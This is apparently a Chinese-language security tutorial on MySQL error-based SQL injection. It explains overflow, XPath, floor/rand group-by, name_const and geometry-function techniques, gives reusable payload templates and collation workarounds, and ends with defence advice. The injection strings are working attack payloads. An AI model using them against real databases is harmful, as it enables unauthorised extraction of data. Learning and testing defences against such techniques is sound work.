MYSQL报错注入的一点总结
字数 1372 2025-08-29 08:31:41
MySQL报错注入技术全面解析
一、报错注入概述
MySQL报错注入是一种利用数据库机制人为制造错误条件,使查询结果出现在错误信息中的注入技术。相比盲注,报错注入在联合查询受限但能返回错误信息的情况下更为高效。
二、报错注入分类及原理
1. 数据类型溢出
BIGINT溢出
- MySQL 5.5.5+版本中,整形溢出会报错
- 最大无符号BIGINT值为18446744073709551615
- 溢出示例:
select 18446744073709551615+1; -- ERROR 1690 (22003): BIGINT UNSIGNED value is out of range - 使用按位取简写:
select ~0; -- 等同于18446744073709551615 select ~0+1; -- 溢出报错
EXP函数溢出
- exp(710)会导致DOUBLE溢出
- 注入示例:
select exp(~(select*from(select user())x)); -- ERROR 1690 (22003): DOUBLE value is out of range
2. XPath语法错误
extractvalue和updatexml函数
- MySQL 5.1.5+提供这两个XML处理函数
- 当xpath参数不符合语法时会将查询结果包含在错误中
- 示例:
select updatexml(1,concat(0x7e,(select @@version),0x7e),1); -- ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~' select extractvalue(1,concat(0x7e,(select @@version),0x7e)); -- ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
3. 主键重复(group by报错)
原理
- 利用count()、rand()和group by的组合导致主键重复
- floor(rand(0)*2)会产生固定的011011...序列
- 示例:
select count(*) from test group by concat(version(),floor(rand(0)*2)); -- ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
详细过程
- 建立空虚拟表
- 处理第一条记录:计算floor(rand(0)*2)=0→不存在→再次计算=1→插入1
- 处理第二条记录:计算=1→存在→count+1
- 处理第三条记录:计算=0→不存在→再次计算=1→尝试插入1但已存在→报错
条件
- 表中至少需要3条记录
- rand()序列不能以0,1,0或1,0,1开头
4. 其他特性
列名重复
- 利用name_const制造重复列名:
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; -- ERROR 1060 (42S21): Duplicate column name '5.7.17' - 爆列名:
select * from(select * from test a join test b)c; -- ERROR 1060 (42S21): Duplicate column name 'id'
几何函数
- 包括GeometryCollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
- 参数需符合几何数据格式,否则报错
- 示例(5.5.47有效):
select multipoint((select * from (select * from (select version())a)b)); -- ERROR 1367 (22007): Illegal non geometric '5.5.47' value
三、报错注入技术总结
1. floor()报错注入
- 无字符长度限制
- 固定句式:
and (select 1 from (select count(*),concat((select (select (payload)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
2. extractvalue()报错
- 最多32字符
- 固定句式:
and extractvalue(1,(concat(0x7e,(payload),0x7e)))
3. updatexml()报错
- 最多32字符
- 固定句式:
and updatexml(1,(concat(0x7e,(payload),0x7e)),1)
4. 其他函数报错
- GeometryCollection()
- polygon()
- multipoint()
- multilinestring()
- multipolygon()
- linestring()
- exp()
四、特殊场景处理
字符集冲突错误
当遇到"Illegal mix of collations"错误时,可使用以下方法绕过:
-
使用convert函数:
convert(version() using latin1) -
使用加密函数:
aes_decrypt(aes_encrypt(version(),1),1) -
使用hex转换:
unhex(hex(@@version)) -
其他方法:
cast(version() as binary) convert(version(),binary) convert(version() using binary)
五、版本差异说明
- 5.5.47及以下版本在报错中能返回完整查询结果
- 5.5.53+版本返回的报错信息中不包含查询结果
- 几何函数报错在高版本中可能无效
六、防御建议
- 使用最新版MySQL
- 严格过滤用户输入
- 禁用错误信息回显
- 使用预编译语句
- 设置最小权限原则
七、参考资料
- MySQL官方文档:out-of-range-and-overflow
- http://codecloud.net/60086.html
- http://www.jinglingshu.org/?p=4507
- http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html